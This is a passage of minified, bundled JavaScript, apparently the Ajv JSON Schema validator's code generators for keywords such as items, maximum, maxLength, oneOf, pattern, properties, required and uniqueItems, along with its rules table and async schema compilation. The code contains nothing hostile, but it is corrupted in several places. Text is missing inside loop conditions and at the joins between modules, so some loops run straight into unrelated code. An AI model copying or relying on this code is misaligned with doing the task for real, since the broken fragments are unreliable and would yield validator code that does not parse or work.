"+h+" < "+d+".length; "+h+"++) { ",g.errorPath=e.util.getPathExpr(e.errorPath,h,e.opts.jsonPointers,!0);var U=d+"["+h+"]";g.dataPathArr[y]=h;var N=e.validate(g);g.baseId=_,e.util.varOccurences(N,v)<2?a+=" "+e.util.varReplace(N,v,U)+" ":a+=" var "+v+" = "+U+"; "+N+" ",l&&(a+=" if (!"+p+") break; "),a+=" } } ",l&&(a+=" if ("+p+") { ",b+="}")}}else if(e.opts.strictKeywords?typeof o=="object"&&Object.keys(o).length>0||o===!1:e.util.schemaHasRules(o,e.RULES.all)){g.schema=o,g.schemaPath=c,g.errSchemaPath=u,a+=" for (var "+h+" = 0; "+h+" < "+d+".length; "+h+"++) { ",g.errorPath=e.util.getPathExpr(e.errorPath,h,e.opts.jsonPointers,!0);var U=d+"["+h+"]";g.dataPathArr[y]=h;var N=e.validate(g);g.baseId=_,e.util.varOccurences(N,v)<2?a+=" "+e.util.varReplace(N,v,U)+" ":a+=" var "+v+" = "+U+"; "+N+" ",l&&(a+=" if (!"+p+") break; "),a+=" }"}return l&&(a+=" "+b+" if ("+m+" == errors) {"),a}});var Rf=V((sG,Ww)=>{"use strict";Ww.exports=function(e,r,n){var a=" ",s=e.level,i=e.dataLevel,o=e.schema[r],c=e.schemaPath+e.util.getProperty(r),u=e.errSchemaPath+"/"+r,l=!e.opts.allErrors,_,d="data"+(i||""),f=e.opts.$data&&o&&o.$data,m;f?(a+=" var schema"+s+" = "+e.util.getData(o.$data,i,e.dataPathArr)+"; ",m="schema"+s):m=o;var g=r=="maximum",b=g?"exclusiveMaximum":"exclusiveMinimum",p=e.schema[b],h=e.opts.$data&&p&&p.$data,y=g?"<":">",v=g?">":"<",_=void 0;if(!(f||typeof o=="number"||o===void 0))throw new Error(r+" must be number");if(!(h||p===void 0||typeof p=="number"||typeof p=="boolean"))throw new Error(b+" must be number or boolean");if(h){var S=e.util.getData(p.$data,i,e.dataPathArr),x="exclusive"+s,w="exclType"+s,T="exclIsNumber"+s,R="op"+s,A="' + "+R+" + '";a+=" var schemaExcl"+s+" = "+S+"; ",S="schemaExcl"+s,a+=" var "+x+"; var "+w+" = typeof "+S+"; if ("+w+" != 'boolean' && "+w+" != 'undefined' && "+w+" != 'number') { ";var _=b,j=j||[];j.push(a),a="",e.createErrors!==!1?(a+=" { keyword: '"+(_||"_exclusiveLimit")+"' , dataPath: (dataPath || '') + "+e.errorPath+" , schemaPath: "+e.util.toQuotedString(u)+" , params: {} ",e.opts.messages!==!1&&(a+=" , message: '"+b+" should be boolean' "),e.opts.verbose&&(a+=" , schema: validate.schema"+c+" , parentSchema: validate.schema"+e.schemaPath+" , data: "+d+" "),a+=" } "):a+=" {} ";var q=a;a=j.pop(),!e.compositeRule&&l?e.async?a+=" throw new ValidationError(["+q+"]); ":a+=" validate.errors = ["+q+"]; return false; ":a+=" var err = "+q+"; if (vErrors === null) vErrors = [err]; else vErrors.push(err); errors++; ",a+=" } else if ( ",f&&(a+=" ("+m+" !== undefined && typeof "+m+" != 'number') || "),a+=" "+w+" == 'number' ? ( ("+x+" = "+m+" === undefined || "+S+" "+y+"= "+m+") ? "+d+" "+v+"= "+S+" : "+d+" "+v+" "+m+" ) : ( ("+x+" = "+S+" === true) ? "+d+" "+v+"= "+m+" : "+d+" "+v+" "+m+" ) || "+d+" !== "+d+") { var op"+s+" = "+x+" ? '"+y+"' : '"+y+"='; ",o===void 0&&(_=b,u=e.errSchemaPath+"/"+b,m=S,f=h)}else{var T=typeof p=="number",A=y;if(T&&f){var R="'"+A+"'";a+=" if ( ",f&&(a+=" ("+m+" !== undefined && typeof "+m+" != 'number') || "),a+=" ( "+m+" === undefined || "+p+" "+y+"= "+m+" ? "+d+" "+v+"= "+p+" : "+d+" "+v+" "+m+" ) || "+d+" !== "+d+") { "}else{T&&o===void 0?(x=!0,_=b,u=e.errSchemaPath+"/"+b,m=p,v+="="):(T&&(m=Math[g?"min":"max"](p,o)),p===(T?m:!0)?(x=!0,_=b,u=e.errSchemaPath+"/"+b,v+="="):(x=!1,A+="="));var R="'"+A+"'";a+=" if ( ",f&&(a+=" ("+m+" !== undefined && typeof "+m+" != 'number') || "),a+=" "+d+" "+v+" "+m+" || "+d+" !== "+d+") { "}}_=_||r;var j=j||[];j.push(a),a="",e.createErrors!==!1?(a+=" { keyword: '"+(_||"_limit")+"' , dataPath: (dataPath || '') + "+e.errorPath+" , schemaPath: "+e.util.toQuotedString(u)+" , params: { comparison: "+R+", limit: "+m+", exclusive: "+x+" } ",e.opts.messages!==!1&&(a+=" , message: 'should be "+A+" ",f?a+="' + "+m:a+=""+m+"'"),e.opts.verbose&&(a+=" , schema: ",f?a+="validate.schema"+c:a+=""+o,a+=" , parentSchema: validate.schema"+e.schemaPath+" , data: "+d+" "),a+=" } "):a+=" {} ";var q=a;return a=j.pop(),!e.compositeRule&&l?e.async?a+=" throw new ValidationError(["+q+"]); ":a+=" validate.errors = ["+q+"]; return false; ":a+=" var err = "+q+"; if (vErrors === null) vErrors = [err]; else vErrors.push(err); errors++; ",a+=" } ",l&&(a+=" else { "),a}});var $f=V((iG,Zw)=>{"use strict";Zw.exports=function(e,r,n){var a=" ",s=e.level,i=e.dataLevel,o=e.schema[r],c=e.schemaPath+e.util.getProperty(r),u=e.errSchemaPath+"/"+r,l=!e.opts.allErrors,b,d="data"+(i||""),f=e.opts.$data&&o&&o.$data,m;if(f?(a+=" var schema"+s+" = "+e.util.getData(o.$data,i,e.dataPathArr)+"; ",m="schema"+s):m=o,!(f||typeof o=="number"))throw new Error(r+" must be number");var g=r=="maxItems"?">":"<";a+="if ( ",f&&(a+=" ("+m+" !== undefined && typeof "+m+" != 'number') || "),a+=" "+d+".length "+g+" "+m+") { ";var b=r,p=p||[];p.push(a),a="",e.createErrors!==!1?(a+=" { keyword: '"+(b||"_limitItems")+"' , dataPath: (dataPath || '') + "+e.errorPath+" , schemaPath: "+e.util.toQuotedString(u)+" , params: { limit: "+m+" } ",e.opts.messages!==!1&&(a+=" , message: 'should NOT have ",r=="maxItems"?a+="more":a+="fewer",a+=" than ",f?a+="' + "+m+" + '":a+=""+o,a+=" items' "),e.opts.verbose&&(a+=" , schema: ",f?a+="validate.schema"+c:a+=""+o,a+=" , parentSchema: validate.schema"+e.schemaPath+" , data: "+d+" "),a+=" } "):a+=" {} ";var h=a;return a=p.pop(),!e.compositeRule&&l?e.async?a+=" throw new ValidationError(["+h+"]); ":a+=" validate.errors = ["+h+"]; return false; ":a+=" var err = "+h+"; if (vErrors === null) vErrors = [err]; else vErrors.push(err); errors++; ",a+="} ",l&&(a+=" else { "),a}});var Pf=V((oG,Gw)=>{"use strict";Gw.exports=function(e,r,n){var a=" ",s=e.level,i=e.dataLevel,o=e.schema[r],c=e.schemaPath+e.util.getProperty(r),u=e.errSchemaPath+"/"+r,l=!e.opts.allErrors,b,d="data"+(i||""),f=e.opts.$data&&o&&o.$data,m;if(f?(a+=" var schema"+s+" = "+e.util.getData(o.$data,i,e.dataPathArr)+"; ",m="schema"+s):m=o,!(f||typeof o=="number"))throw new Error(r+" must be number");var g=r=="maxLength"?">":"<";a+="if ( ",f&&(a+=" ("+m+" !== undefined && typeof "+m+" != 'number') || "),e.opts.unicode===!1?a+=" "+d+".length ":a+=" ucs2length("+d+") ",a+=" "+g+" "+m+") { ";var b=r,p=p||[];p.push(a),a="",e.createErrors!==!1?(a+=" { keyword: '"+(b||"_limitLength")+"' , dataPath: (dataPath || '') + "+e.errorPath+" , schemaPath: "+e.util.toQuotedString(u)+" , params: { limit: "+m+" } ",e.opts.messages!==!1&&(a+=" , message: 'should NOT be ",r=="maxLength"?a+="longer":a+="shorter",a+=" than ",f?a+="' + "+m+" + '":a+=""+o,a+=" characters' "),e.opts.verbose&&(a+=" , schema: ",f?a+="validate.schema"+c:a+=""+o,a+=" , parentSchema: validate.schema"+e.schemaPath+" , data: "+d+" "),a+=" } "):a+=" {} ";var h=a;return a=p.pop(),!e.compositeRule&&l?e.async?a+=" throw new ValidationError(["+h+"]); ":a+=" validate.errors = ["+h+"]; return false; ":a+=" var err = "+h+"; if (vErrors === null) vErrors = [err]; else vErrors.push(err); errors++; ",a+="} ",l&&(a+=" else { "),a}});var Of=V((cG,Kw)=>{"use strict";Kw.exports=function(e,r,n){var a=" ",s=e.level,i=e.dataLevel,o=e.schema[r],c=e.schemaPath+e.util.getProperty(r),u=e.errSchemaPath+"/"+r,l=!e.opts.allErrors,b,d="data"+(i||""),f=e.opts.$data&&o&&o.$data,m;if(f?(a+=" var schema"+s+" = "+e.util.getData(o.$data,i,e.dataPathArr)+"; ",m="schema"+s):m=o,!(f||typeof o=="number"))throw new Error(r+" must be number");var g=r=="maxProperties"?">":"<";a+="if ( ",f&&(a+=" ("+m+" !== undefined && typeof "+m+" != 'number') || "),a+=" Object.keys("+d+").length "+g+" "+m+") { ";var b=r,p=p||[];p.push(a),a="",e.createErrors!==!1?(a+=" { keyword: '"+(b||"_limitProperties")+"' , dataPath: (dataPath || '') + "+e.errorPath+" , schemaPath: "+e.util.toQuotedString(u)+" , params: { limit: "+m+" } ",e.opts.messages!==!1&&(a+=" , message: 'should NOT have ",r=="maxProperties"?a+="more":a+="fewer",a+=" than ",f?a+="' + "+m+" + '":a+=""+o,a+=" properties' "),e.opts.verbose&&(a+=" , schema: ",f?a+="validate.schema"+c:a+=""+o,a+=" , parentSchema: validate.schema"+e.schemaPath+" , data: "+d+" "),a+=" } "):a+=" {} ";var h=a;return a=p.pop(),!e.compositeRule&&l?e.async?a+=" throw new ValidationError(["+h+"]); ":a+=" validate.errors = ["+h+"]; return false; ":a+=" var err = "+h+"; if (vErrors === null) vErrors = [err]; else vErrors.push(err); errors++; ",a+="} ",l&&(a+=" else { "),a}});var Jw=V((uG,Xw)=>{"use strict";Xw.exports=function(e,r,n){var a=" ",s=e.level,i=e.dataLevel,o=e.schema[r],c=e.schemaPath+e.util.getProperty(r),u=e.errSchemaPath+"/"+r,l=!e.opts.allErrors,d="data"+(i||""),f=e.opts.$data&&o&&o.$data,m;if(f?(a+=" var schema"+s+" = "+e.util.getData(o.$data,i,e.dataPathArr)+"; ",m="schema"+s):m=o,!(f||typeof o=="number"))throw new Error(r+" must be number");a+="var division"+s+";if (",f&&(a+=" "+m+" !== undefined && ( typeof "+m+" != 'number' || "),a+=" (division"+s+" = "+d+" / "+m+", ",e.opts.multipleOfPrecision?a+=" Math.abs(Math.round(division"+s+") - division"+s+") > 1e-"+e.opts.multipleOfPrecision+" ":a+=" division"+s+" !== parseInt(division"+s+") ",a+=" ) ",f&&(a+=" ) "),a+=" ) { ";var g=g||[];g.push(a),a="",e.createErrors!==!1?(a+=" { keyword: 'multipleOf' , dataPath: (dataPath || '') + "+e.errorPath+" , schemaPath: "+e.util.toQuotedString(u)+" , params: { multipleOf: "+m+" } ",e.opts.messages!==!1&&(a+=" , message: 'should be multiple of ",f?a+="' + "+m:a+=""+m+"'"),e.opts.verbose&&(a+=" , schema: ",f?a+="validate.schema"+c:a+=""+o,a+=" , parentSchema: validate.schema"+e.schemaPath+" , data: "+d+" "),a+=" } "):a+=" {} ";var b=a;return a=g.pop(),!e.compositeRule&&l?e.async?a+=" throw new ValidationError(["+b+"]); ":a+=" validate.errors = ["+b+"]; return false; ":a+=" var err = "+b+"; if (vErrors === null) vErrors = [err]; else vErrors.push(err); errors++; ",a+="} ",l&&(a+=" else { "),a}});var Qw=V((lG,Yw)=>{"use strict";Yw.exports=function(e,r,n){var a=" ",s=e.level,i=e.dataLevel,o=e.schema[r],c=e.schemaPath+e.util.getProperty(r),u=e.errSchemaPath+"/"+r,l=!e.opts.allErrors,d="data"+(i||""),f="errs__"+s,m=e.util.copy(e);m.level++;var g="valid"+m.level;if(e.opts.strictKeywords?typeof o=="object"&&Object.keys(o).length>0||o===!1:e.util.schemaHasRules(o,e.RULES.all)){m.schema=o,m.schemaPath=c,m.errSchemaPath=u,a+=" var "+f+" = errors; ";var b=e.compositeRule;e.compositeRule=m.compositeRule=!0,m.createErrors=!1;var p;m.opts.allErrors&&(p=m.opts.allErrors,m.opts.allErrors=!1),a+=" "+e.validate(m)+" ",m.createErrors=!0,p&&(m.opts.allErrors=p),e.compositeRule=m.compositeRule=b,a+=" if ("+g+") { ";var h=h||[];h.push(a),a="",e.createErrors!==!1?(a+=" { keyword: 'not' , dataPath: (dataPath || '') + "+e.errorPath+" , schemaPath: "+e.util.toQuotedString(u)+" , params: {} ",e.opts.messages!==!1&&(a+=" , message: 'should NOT be valid' "),e.opts.verbose&&(a+=" , schema: validate.schema"+c+" , parentSchema: validate.schema"+e.schemaPath+" , data: "+d+" "),a+=" } "):a+=" {} ";var y=a;a=h.pop(),!e.compositeRule&&l?e.async?a+=" throw new ValidationError(["+y+"]); ":a+=" validate.errors = ["+y+"]; return false; ":a+=" var err = "+y+"; if (vErrors === null) vErrors = [err]; else vErrors.push(err); errors++; ",a+=" } else { errors = "+f+"; if (vErrors !== null) { if ("+f+") vErrors.length = "+f+"; else vErrors = null; } ",e.opts.allErrors&&(a+=" } ")}else a+=" var err = ",e.createErrors!==!1?(a+=" { keyword: 'not' , dataPath: (dataPath || '') + "+e.errorPath+" , schemaPath: "+e.util.toQuotedString(u)+" , params: {} ",e.opts.messages!==!1&&(a+=" , message: 'should NOT be valid' "),e.opts.verbose&&(a+=" , schema: validate.schema"+c+" , parentSchema: validate.schema"+e.schemaPath+" , data: "+d+" "),a+=" } "):a+=" {} ",a+="; if (vErrors === null) vErrors = [err]; else vErrors.push(err); errors++; ",l&&(a+=" if (false) { ");return a}});var tS=V((dG,eS)=>{"use strict";eS.exports=function(e,r,n){var a=" ",s=e.level,i=e.dataLevel,o=e.schema[r],c=e.schemaPath+e.util.getProperty(r),u=e.errSchemaPath+"/"+r,l=!e.opts.allErrors,d="data"+(i||""),f="valid"+s,m="errs__"+s,g=e.util.copy(e),b="";g.level++;var p="valid"+g.level,h=g.baseId,y="prevValid"+s,v="passingSchemas"+s;a+="var "+m+" = errors , "+y+" = false , "+f+" = false , "+v+" = null; ";var _=e.compositeRule;e.compositeRule=g.compositeRule=!0;var S=o;if(S)for(var x,w=-1,T=S.length-1;w0||x===!1:e.util.schemaHasRules(x,e.RULES.all))?(g.schema=x,g.schemaPath=c+"["+w+"]",g.errSchemaPath=u+"/"+w,a+=" "+e.validate(g)+" ",g.baseId=h):a+=" var "+p+" = true; ",w&&(a+=" if ("+p+" && "+y+") { "+f+" = false; "+v+" = ["+v+", "+w+"]; } else { ",b+="}"),a+=" if ("+p+") { "+f+" = "+y+" = true; "+v+" = "+w+"; }";return e.compositeRule=g.compositeRule=_,a+=""+b+"if (!"+f+") { var err = ",e.createErrors!==!1?(a+=" { keyword: 'oneOf' , dataPath: (dataPath || '') + "+e.errorPath+" , schemaPath: "+e.util.toQuotedString(u)+" , params: { passingSchemas: "+v+" } ",e.opts.messages!==!1&&(a+=" , message: 'should match exactly one schema in oneOf' "),e.opts.verbose&&(a+=" , schema: validate.schema"+c+" , parentSchema: validate.schema"+e.schemaPath+" , data: "+d+" "),a+=" } "):a+=" {} ",a+="; if (vErrors === null) vErrors = [err]; else vErrors.push(err); errors++; ",!e.compositeRule&&l&&(e.async?a+=" throw new ValidationError(vErrors); ":a+=" validate.errors = vErrors; return false; "),a+="} else { errors = "+m+"; if (vErrors !== null) { if ("+m+") vErrors.length = "+m+"; else vErrors = null; }",e.opts.allErrors&&(a+=" } "),a}});var aS=V((pG,rS)=>{"use strict";rS.exports=function(e,r,n){var a=" ",s=e.level,i=e.dataLevel,o=e.schema[r],c=e.schemaPath+e.util.getProperty(r),u=e.errSchemaPath+"/"+r,l=!e.opts.allErrors,d="data"+(i||""),f=e.opts.$data&&o&&o.$data,m;f?(a+=" var schema"+s+" = "+e.util.getData(o.$data,i,e.dataPathArr)+"; ",m="schema"+s):m=o;var g=f?"(new RegExp("+m+"))":e.usePattern(o);a+="if ( ",f&&(a+=" ("+m+" !== undefined && typeof "+m+" != 'string') || "),a+=" !"+g+".test("+d+") ) { ";var b=b||[];b.push(a),a="",e.createErrors!==!1?(a+=" { keyword: 'pattern' , dataPath: (dataPath || '') + "+e.errorPath+" , schemaPath: "+e.util.toQuotedString(u)+" , params: { pattern: ",f?a+=""+m:a+=""+e.util.toQuotedString(o),a+=" } ",e.opts.messages!==!1&&(a+=` , message: 'should match pattern "`,f?a+="' + "+m+" + '":a+=""+e.util.escapeQuotes(o),a+=`"' `),e.opts.verbose&&(a+=" , schema: ",f?a+="validate.schema"+c:a+=""+e.util.toQuotedString(o),a+=" , parentSchema: validate.schema"+e.schemaPath+" , data: "+d+" "),a+=" } "):a+=" {} ";var p=a;return a=b.pop(),!e.compositeRule&&l?e.async?a+=" throw new ValidationError(["+p+"]); ":a+=" validate.errors = ["+p+"]; return false; ":a+=" var err = "+p+"; if (vErrors === null) vErrors = [err]; else vErrors.push(err); errors++; ",a+="} ",l&&(a+=" else { "),a}});var sS=V((fG,nS)=>{"use strict";nS.exports=function(e,r,n){var a=" ",s=e.level,i=e.dataLevel,o=e.schema[r],c=e.schemaPath+e.util.getProperty(r),u=e.errSchemaPath+"/"+r,l=!e.opts.allErrors,d="data"+(i||""),f="errs__"+s,m=e.util.copy(e),g="";m.level++;var b="valid"+m.level,p="key"+s,h="idx"+s,y=m.dataLevel=e.dataLevel+1,v="data"+y,_="dataProperties"+s,S=Object.keys(o||{}).filter(le),x=e.schema.patternProperties||{},w=Object.keys(x).filter(le),T=e.schema.additionalProperties,R=S.length||w.length,A=T===!1,j=typeof T=="object"&&Object.keys(T).length,q=e.opts.removeAdditional,U=A||j||q,N=e.opts.ownProperties,G=e.baseId,te=e.schema.required;if(te&&!(e.opts.$data&&te.$data)&&te.length8)a+=" || validate.schema"+c+".hasOwnProperty("+p+") ";else{var ne=S;if(ne)for(var H,P=-1,L=ne.length-1;P0||Me===!1:e.util.schemaHasRules(Me,e.RULES.all)){var Ae=e.util.getProperty(H),I=d+Ae,Ie=Z&&Me.default!==void 0;m.schema=Me,m.schemaPath=c+Ae,m.errSchemaPath=u+"/"+e.util.escapeFragment(H),m.errorPath=e.util.getPath(e.errorPath,H,e.opts.jsonPointers),m.dataPathArr[y]=e.util.toQuotedString(H);var z=e.validate(m);if(m.baseId=G,e.util.varOccurences(z,v)<2){z=e.util.varReplace(z,v,I);var Te=I}else{var Te=v;a+=" var "+v+" = "+I+"; "}if(Ie)a+=" "+z+" ";else{if(ce&&ce[H]){a+=" if ( "+Te+" === undefined ",N&&(a+=" || ! Object.prototype.hasOwnProperty.call("+d+", '"+e.util.escapeQuotes(H)+"') "),a+=") { "+b+" = false; ";var X=e.errorPath,de=u,dt=e.util.escapeQuotes(H);e.opts._errorDataPathProperty&&(e.errorPath=e.util.getPath(X,H,e.opts.jsonPointers)),u=e.errSchemaPath+"/required";var ie=ie||[];ie.push(a),a="",e.createErrors!==!1?(a+=" { keyword: 'required' , dataPath: (dataPath || '') + "+e.errorPath+" , schemaPath: "+e.util.toQuotedString(u)+" , params: { missingProperty: '"+dt+"' } ",e.opts.messages!==!1&&(a+=" , message: '",e.opts._errorDataPathProperty?a+="is a required property":a+="should have required property \\'"+dt+"\\'",a+="' "),e.opts.verbose&&(a+=" , schema: validate.schema"+c+" , parentSchema: validate.schema"+e.schemaPath+" , data: "+d+" "),a+=" } "):a+=" {} ";var ve=a;a=ie.pop(),!e.compositeRule&&l?e.async?a+=" throw new ValidationError(["+ve+"]); ":a+=" validate.errors = ["+ve+"]; return false; ":a+=" var err = "+ve+"; if (vErrors === null) vErrors = [err]; else vErrors.push(err); errors++; ",u=de,e.errorPath=X,a+=" } else { "}else l?(a+=" if ( "+Te+" === undefined ",N&&(a+=" || ! Object.prototype.hasOwnProperty.call("+d+", '"+e.util.escapeQuotes(H)+"') "),a+=") { "+b+" = true; } else { "):(a+=" if ("+Te+" !== undefined ",N&&(a+=" && Object.prototype.hasOwnProperty.call("+d+", '"+e.util.escapeQuotes(H)+"') "),a+=" ) { ");a+=" "+z+" } "}}l&&(a+=" if ("+b+") { ",g+="}")}}if(w.length){var Le=w;if(Le)for(var E,ur=-1,Bt=Le.length-1;ur0||Me===!1:e.util.schemaHasRules(Me,e.RULES.all)){m.schema=Me,m.schemaPath=e.schemaPath+".patternProperties"+e.util.getProperty(E),m.errSchemaPath=e.errSchemaPath+"/patternProperties/"+e.util.escapeFragment(E),N?a+=" "+_+" = "+_+" || Object.keys("+d+"); for (var "+h+"=0; "+h+"<"+_+".length; "+h+"++) { var "+p+" = "+_+"["+h+"]; ":a+=" for (var "+p+" in "+d+") { ",a+=" if ("+e.usePattern(E)+".test("+p+")) { ",m.errorPath=e.util.getPathExpr(e.errorPath,p,e.opts.jsonPointers);var I=d+"["+p+"]";m.dataPathArr[y]=p;var z=e.validate(m);m.baseId=G,e.util.varOccurences(z,v)<2?a+=" "+e.util.varReplace(z,v,I)+" ":a+=" var "+v+" = "+I+"; "+z+" ",l&&(a+=" if (!"+b+") break; "),a+=" } ",l&&(a+=" else "+b+" = true; "),a+=" } ",l&&(a+=" if ("+b+") { ",g+="}")}}}return l&&(a+=" "+g+" if ("+f+" == errors) {"),a}});var oS=V((mG,iS)=>{"use strict";iS.exports=function(e,r,n){var a=" ",s=e.level,i=e.dataLevel,o=e.schema[r],c=e.schemaPath+e.util.getProperty(r),u=e.errSchemaPath+"/"+r,l=!e.opts.allErrors,d="data"+(i||""),f="errs__"+s,m=e.util.copy(e),g="";m.level++;var b="valid"+m.level;if(a+="var "+f+" = errors;",e.opts.strictKeywords?typeof o=="object"&&Object.keys(o).length>0||o===!1:e.util.schemaHasRules(o,e.RULES.all)){m.schema=o,m.schemaPath=c,m.errSchemaPath=u;var p="key"+s,h="idx"+s,y="i"+s,v="' + "+p+" + '",_=m.dataLevel=e.dataLevel+1,S="data"+_,x="dataProperties"+s,w=e.opts.ownProperties,T=e.baseId;w&&(a+=" var "+x+" = undefined; "),w?a+=" "+x+" = "+x+" || Object.keys("+d+"); for (var "+h+"=0; "+h+"<"+x+".length; "+h+"++) { var "+p+" = "+x+"["+h+"]; ":a+=" for (var "+p+" in "+d+") { ",a+=" var startErrs"+s+" = errors; ";var R=p,A=e.compositeRule;e.compositeRule=m.compositeRule=!0;var j=e.validate(m);m.baseId=T,e.util.varOccurences(j,S)<2?a+=" "+e.util.varReplace(j,S,R)+" ":a+=" var "+S+" = "+R+"; "+j+" ",e.compositeRule=m.compositeRule=A,a+=" if (!"+b+") { for (var "+y+"=startErrs"+s+"; "+y+"{"use strict";cS.exports=function(e,r,n){var a=" ",s=e.level,i=e.dataLevel,o=e.schema[r],c=e.schemaPath+e.util.getProperty(r),u=e.errSchemaPath+"/"+r,l=!e.opts.allErrors,d="data"+(i||""),f="valid"+s,m=e.opts.$data&&o&&o.$data,g;m?(a+=" var schema"+s+" = "+e.util.getData(o.$data,i,e.dataPathArr)+"; ",g="schema"+s):g=o;var b="schema"+s;if(!m)if(o.length0||S===!1:e.util.schemaHasRules(S,e.RULES.all))||(p[p.length]=y)}}else var p=o;if(m||p.length){var x=e.errorPath,w=m||p.length>=e.opts.loopRequired,T=e.opts.ownProperties;if(l)if(a+=" var missing"+s+"; ",w){m||(a+=" var "+b+" = validate.schema"+c+"; ");var R="i"+s,A="schema"+s+"["+R+"]",j="' + "+A+" + '";e.opts._errorDataPathProperty&&(e.errorPath=e.util.getPathExpr(x,A,e.opts.jsonPointers)),a+=" var "+f+" = true; ",m&&(a+=" if (schema"+s+" === undefined) "+f+" = true; else if (!Array.isArray(schema"+s+")) "+f+" = false; else {"),a+=" for (var "+R+" = 0; "+R+" < "+b+".length; "+R+"++) { "+f+" = "+d+"["+b+"["+R+"]] !== undefined ",T&&(a+=" && Object.prototype.hasOwnProperty.call("+d+", "+b+"["+R+"]) "),a+="; if (!"+f+") break; } ",m&&(a+=" } "),a+=" if (!"+f+") { ";var q=q||[];q.push(a),a="",e.createErrors!==!1?(a+=" { keyword: 'required' , dataPath: (dataPath || '') + "+e.errorPath+" , schemaPath: "+e.util.toQuotedString(u)+" , params: { missingProperty: '"+j+"' } ",e.opts.messages!==!1&&(a+=" , message: '",e.opts._errorDataPathProperty?a+="is a required property":a+="should have required property \\'"+j+"\\'",a+="' "),e.opts.verbose&&(a+=" , schema: validate.schema"+c+" , parentSchema: validate.schema"+e.schemaPath+" , data: "+d+" "),a+=" } "):a+=" {} ";var U=a;a=q.pop(),!e.compositeRule&&l?e.async?a+=" throw new ValidationError(["+U+"]); ":a+=" validate.errors = ["+U+"]; return false; ":a+=" var err = "+U+"; if (vErrors === null) vErrors = [err]; else vErrors.push(err); errors++; ",a+=" } else { "}else{a+=" if ( ";var N=p;if(N)for(var G,R=-1,te=N.length-1;R{"use strict";lS.exports=function(e,r,n){var a=" ",s=e.level,i=e.dataLevel,o=e.schema[r],c=e.schemaPath+e.util.getProperty(r),u=e.errSchemaPath+"/"+r,l=!e.opts.allErrors,d="data"+(i||""),f="valid"+s,m=e.opts.$data&&o&&o.$data,g;if(m?(a+=" var schema"+s+" = "+e.util.getData(o.$data,i,e.dataPathArr)+"; ",g="schema"+s):g=o,(o||m)&&e.opts.uniqueItems!==!1){m&&(a+=" var "+f+"; if ("+g+" === false || "+g+" === undefined) "+f+" = true; else if (typeof "+g+" != 'boolean') "+f+" = false; else { "),a+=" var i = "+d+".length , "+f+" = true , j; if (i > 1) { ";var b=e.schema.items&&e.schema.items.type,p=Array.isArray(b);if(!b||b=="object"||b=="array"||p&&(b.indexOf("object")>=0||b.indexOf("array")>=0))a+=" outer: for (;i--;) { for (j = i; j--;) { if (equal("+d+"[i], "+d+"[j])) { "+f+" = false; break outer; } } } ";else{a+=" var itemIndices = {}, item; for (;i--;) { var item = "+d+"[i]; ";var h="checkDataType"+(p?"s":"");a+=" if ("+e.util[h](b,"item",e.opts.strictNumbers,!0)+") continue; ",p&&(a+=` if (typeof item == 'string') item = '"' + item; `),a+=" if (typeof itemIndices[item] == 'number') { "+f+" = false; j = itemIndices[item]; break; } itemIndices[item] = i; } "}a+=" } ",m&&(a+=" } "),a+=" if (!"+f+") { ";var y=y||[];y.push(a),a="",e.createErrors!==!1?(a+=" { keyword: 'uniqueItems' , dataPath: (dataPath || '') + "+e.errorPath+" , schemaPath: "+e.util.toQuotedString(u)+" , params: { i: i, j: j } ",e.opts.messages!==!1&&(a+=" , message: 'should NOT have duplicate items (items ## ' + j + ' and ' + i + ' are identical)' "),e.opts.verbose&&(a+=" , schema: ",m?a+="validate.schema"+c:a+=""+o,a+=" , parentSchema: validate.schema"+e.schemaPath+" , data: "+d+" "),a+=" } "):a+=" {} ";var v=a;a=y.pop(),!e.compositeRule&&l?e.async?a+=" throw new ValidationError(["+v+"]); ":a+=" validate.errors = ["+v+"]; return false; ":a+=" var err = "+v+"; if (vErrors === null) vErrors = [err]; else vErrors.push(err); errors++; ",a+=" } ",l&&(a+=" else { ")}else l&&(a+=" if (true) { ");return a}});var fS=V((gG,pS)=>{"use strict";pS.exports={$ref:Tw(),allOf:Rw(),anyOf:Pw(),$comment:Cw(),const:Aw(),contains:jw(),dependencies:Dw(),enum:Lw(),format:zw(),if:Hw(),items:Vw(),maximum:Rf(),minimum:Rf(),maxItems:$f(),minItems:$f(),maxLength:Pf(),minLength:Pf(),maxProperties:Of(),minProperties:Of(),multipleOf:Jw(),not:Qw(),oneOf:tS(),pattern:aS(),properties:sS(),propertyNames:oS(),required:uS(),uniqueItems:dS(),validate:Tf()}});var vS=V((yG,hS)=>{"use strict";var mS=fS(),Cf=Rn().toHash;hS.exports=function(){var e=[{type:"number",rules:[{maximum:["exclusiveMaximum"]},{minimum:["exclusiveMinimum"]},"multipleOf","format"]},{type:"string",rules:["maxLength","minLength","pattern","format"]},{type:"array",rules:["maxItems","minItems","items","contains","uniqueItems"]},{type:"object",rules:["maxProperties","minProperties","required","dependencies","propertyNames",{properties:["additionalProperties","patternProperties"]}]},{rules:["$ref","const","enum","not","anyOf","oneOf","allOf","if"]}],r=["type","$comment"],n=["$schema","$id","id","$data","$async","title","description","default","definitions","examples","readOnly","writeOnly","contentMediaType","contentEncoding","additionalItems","then","else"],a=["number","integer","string","array","object","boolean","null"];return e.all=Cf(r),e.types=Cf(a),e.forEach(function(s){s.rules=s.rules.map(function(i){var o;if(typeof i=="object"){var c=Object.keys(i)[0];o=i[c],i=c,o.forEach(function(l){r.push(l),e.all[l]=!0})}r.push(i);var u=e.all[i]={keyword:i,code:mS[i],implements:o};return u}),e.all.$comment={keyword:"$comment",code:mS.$comment},s.type&&(e.types[s.type]=s)}),e.keywords=Cf(r.concat(n)),e.custom={},e}});var _S=V((_G,yS)=>{"use strict";var gS=["multipleOf","maximum","exclusiveMaximum","minimum","exclusiveMinimum","maxLength","minLength","pattern","additionalItems","maxItems","minItems","uniqueItems","maxProperties","minProperties","required","additionalProperties","enum","format","const"];yS.exports=function(t,e){for(var r=0;r{"use strict";var R8=hu().MissingRef;xS.exports=bS;function bS(t,e,r){var n=this;if(typeof this._opts.loadSchema!="function")throw new Error("options.loadSchema should be a function");typeof e=="function"&&(r=e,e=void 0);var a=s(t).then(function(){var o=n._addSchema(t,void 0,e);return o.validate||i(o)});return r&&a.then(function(o){r(null,o)},r),a;function s(o){var c=o.$schema;return c&&!n.getSchema(c)?bS.call(n,{$ref:c},!0):Promise.resolve()}function i(o){try{return n._compile(o)}catch(u){if(u instanceof R8)return c(u);throw u}function c(u){var l=u.missingSchema;if(m(l))throw new Error("Schema "+l+" is loaded but "+u.missingRef+" cannot be resolved");var d=n._loadingSchemas[l];return d||(d=n._loadingSchemas[l]=n._opts.loadSchema(l),d.then(f,f)),d.then(function(g){if(!m(l))return 